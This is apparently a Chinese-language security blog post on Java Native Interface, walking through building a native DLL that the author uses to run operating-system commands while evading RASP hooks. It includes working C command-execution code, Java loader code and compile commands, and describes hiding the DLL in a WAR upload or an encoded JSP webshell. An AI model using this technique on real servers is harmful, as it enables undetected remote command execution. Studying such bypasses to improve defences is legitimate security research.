• Java安全之JNI绕过RASP


    Java安全之JNI绕过RASP

    0x00 前言

    前面一直想看该JNI的相关内容,但是发现JNI的资料还是偏少。后面发现JNI在安全中应用非常的微妙,有意思。

    0x01 JNI概述

    JNI的全称叫做(Java Native Interface),其作用就是让我们的Java程序去调用C的程序。实际上调用的并不是exe程序,而是编译好的dll动态链接库里面封装的方法。因为Java是基于C语言去实现的,Java底层很多也会去使用JNI。

    在开发中运用到的也是比较多,比如在前面分析链的时候,追溯到一些底层实现代码的时候就可以看到一些方法是使用Native 来修饰的。这就说明他是一个c语言去实现的一个方法。

    0x02 JNI实现

    来看到下面这张图,该图是实现JNI编程的具体路线

    这里我大致分为五步:

    1. 定义一个native修饰的方法
    2. 使用javah进行编译 
    3. 编写对应的c语言代码
    4. 使用gcc编译成dll文件
    5. 编写一个Java类使用System.loadLibrary方法,加载dll文件并且调用
    

    按照步骤来实现一下

    1. 定义一个native修饰的方法
    package com.test;
    
    public class Command {
        public native int sum(int num1,int num2);
    
    }
    
    
    1. 使用javah进行编译

    首先使用javac编译成class文件

    javac .Command.java
    

    然后使用javah生成c的头文件,切换到src目录下。后面发现其实可以不用编译成class文件。

    JDK10移除了javah,需要改为javac-h参数的方式生产头文件,命令:

    javac -cp . .Command.java -h com.test.Command
    

    然后执行命令

    javah -cp . com.test.Command
    

    这里可以看到有个Java_com_test_Command_sum的字符,前面的Java是固定的前缀,后面是类名,最后面的是该类中定义的方法。

    而括号里面的4个参数,第一个是JNI环境变量对象,第二个是Java调用的对象,这里是jclass也就是一个class文件。后面两个则是传入的参数并且是int类型的。

    里面的内容是javah基于刚刚的java代码自动生成的,不要轻易更改。在编写c代码的时候,需要导入该头文件

    1. 编写对应的c语言代码
    #include "com_test_Command.h"
    JNIEXPORT jint JNICALL Java_com_test_Command_sum
      (JNIEnv *env, jobject obj, jint num1, jint num2){
      return num1+num2;
      }
      void main(){}
    
    1. 使用gcc编译成dll文件
    gcc -I "c:ProgramFilesJavajdk1.7.0_75include"  -I "c:Program FilesJavajdk1.7.0_75includewin32"
        --shared JniClass.c
    -o 1.dll
    

    需要指定jdk的include和win32文件

    或者可以这么写

    gcc -I"%JAVA_HOME%include" -I"%JAVA_HOME%includewin32" -shared -o cmd.dll com_anbai_sec_cmd_CommandExecution.c。
    

    mac 编译:

    g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib com_anbai_sec_cmd_CommandExecution.cpp
    

    linux编译:

    g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp
    

    g++是用来编译c++的,均可使用。代码如果是c++写的,就可以使用g++来编译成dll一样可以调用。

    这里先来编译一下

    gcc -I "D:JAVA_JDKinclude"  -I "D:JAVA_JDKincludewin32" -shared -o cmd.dll .Command.c
    

    重新在IDEA里面打开项目,并编写代码

    package com.test;
    
    public class test {
    
    
        public static void main(String[] args) {
            System.loadLibrary("cmd");
            Command command = new Command();
            int sum = command.sum(1, 2);
            System.out.println(sum);
    
        }
    }
    

    运行查看结果,查看是否能正常运行

    然而这里发现爆了个这样的错误,在64位数的平台不能去调用32位数的dll文件,貌似是使用到了32位的gcc进行编译导致调用报错

    发现自己安装的是32位的gcc编译只能编译成32位的dll文件,后面来使用gcc 64 位的就可以了。

    再次编译成gcc进行调用后,就可以进行执行。

    到了这里,就已经是调用了封装好的dll动态链接库文件里面封装的方法了。

    0x03 JNI 绕过RASP 执行命令

    在RASP里其实是Hook掉了一些RuntimeProcessBuilder 等类,但是Runtime.exec调用的是ProcessBuilder.start,ProcessBuilder.start的底层会调用ProcessImpl类。那么这时候只需要去Hook掉ProcessImpl就无法进行执行命令了。那么像这种基于堆栈调用去识别的该怎么去绕过呢?假设一个场景一个站点使用RASP,这时候如果上传一个webshell

    那么这时候就会去用到JNI去调用该dll文件就可以进行一个绕过,可以先来实现这么一个功能,后续还需要考虑到的是怎么将几个文件封装到一起,打包成一个jsp文件进行上传。

    首先还是需要在IDEA里面先去实现功能,基于上面代码去做一个修改

    Command类:

    package com.test;
    
    public class Command {
        public native String exec(String cmd);
    }
    

    编译成.h c语言的头文件,内容如下:

    /* DO NOT EDIT THIS FILE - it is machine generated */
    #include <jni.h>
    /* Header for class com_test_Command */
    
    #ifndef _Included_com_test_Command
    #define _Included_com_test_Command
    #ifdef __cplusplus
    extern "C" {
    #endif
    
    JNIEXPORT jstring JNICALL Java_com_test_Command_exec
      (JNIEnv *, jobject, jstring);
    
    #ifdef __cplusplus
    }
    #endif
    #endif
    
    

    编写命令执行的C语言代码,由于不会C ,该段代码是网上找的

    #include "com_test_Command.h"
    #include <string.h>
    #include <stdio.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <stdlib.h>
    
    int execmd(const char *cmd, char *result)
    {
        char buffer[1024*12];              //定义缓冲区
        FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令
        if (!pipe)
            return 0; //返回0表示运行失败
    
        while (!feof(pipe))
        {
            if (fgets(buffer, 128, pipe))
            { //将管道输出到result中
                strcat(result, buffer);
            }
        }
        _pclose(pipe); //关闭管道
        return 1;      //返回1表示运行成功
    }
    JNIEXPORT jstring JNICALL Java_com_test_Command_exec(JNIEnv *env, jobject class_object, jstring jstr)
    {
    
        const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
        char result[1024 * 12] = ""; //定义存放结果的字符串数组
        if (1 == execmd(cstr, result))
        {
           // printf(result);
        }
    
        char return_messge[100] = "";
        strcat(return_messge, result);
        jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
        //system();
    
        return cmdresult;
    }
    

    使用命令将2个文件编译成dll动态链接库

    然后编写Java代码加载dll文件,调用C语言中封装的方法

    package com.test;
    
    public class test {
    
    
        public static void main(String[] args) {
    
            System.loadLibrary("cmd");
            Command command = new Command();
            String ipconfig = command.exec("ipconfig");
            System.out.println(ipconfig);
        }
    
    }
    
    

    调用栈:

    命令就执行成功了,这里不是调用一些自带的Runtime等方法,而是调用dll文件中封装的方法,能够去绕过一些RASP的拦截。

    目前我的设想是由两种方式在现实场景中去进行一个使用,一个是将dll文件都打包成一个war包,在一些tomcat管理后台的位置上传后,自动进行解压释放该dll文件,然后使用jsp去调用该dll文件,从而使得可以绕过执行命令。或者是可以使用远程调用的方式,这样就可以不用上传dll文件了, 这样做的目的是一般上传点之类的都不会允许dll文件进行上传。

    还有一种方式是将dll文件编码后,内置到jsp中,执行的时候进行释放到当前文件目录下,进行调用。

    参考文章

    https://cloud.tencent.com/developer/article/1541566
    https://javasec.org/javase/JNI/
    

    吹爆花猫大哥的Javasec文章,在Javasec的JNI文中用到的是c++来进行一个代码实现,实际效果差不多。具体的在本文中就不做实现。Javasec中有现成代码。

    0x04 结尾

    其实这种方式还是有办法查杀到的,具体参考该篇文章:JNI编程怎么跟踪调试dll

  • 相关阅读:
    JAVA LinkedList和ArrayList的使用及性能分析
    学习笔记—Node中的模块调试
    学习笔记—Node的核心模块
    学习笔记—Node中VM模块详解
    学习笔记—Node中require的实现
    入园了
    【引用】asp.net服务器推送(ServerPush)和客户端拉拽技术
    ajax xmlHttp.responseXML取不到值问题备忘
    oracle实时插值速度突然变慢问题解决办法
    [转帖 作者: fuyuncat 来源: www.HelloDBA.com ]Oracle IO问题解析
  • 原文地址:https://www.cnblogs.com/nice0e3/p/14067160.html
Copyright © 2020-2023  润新知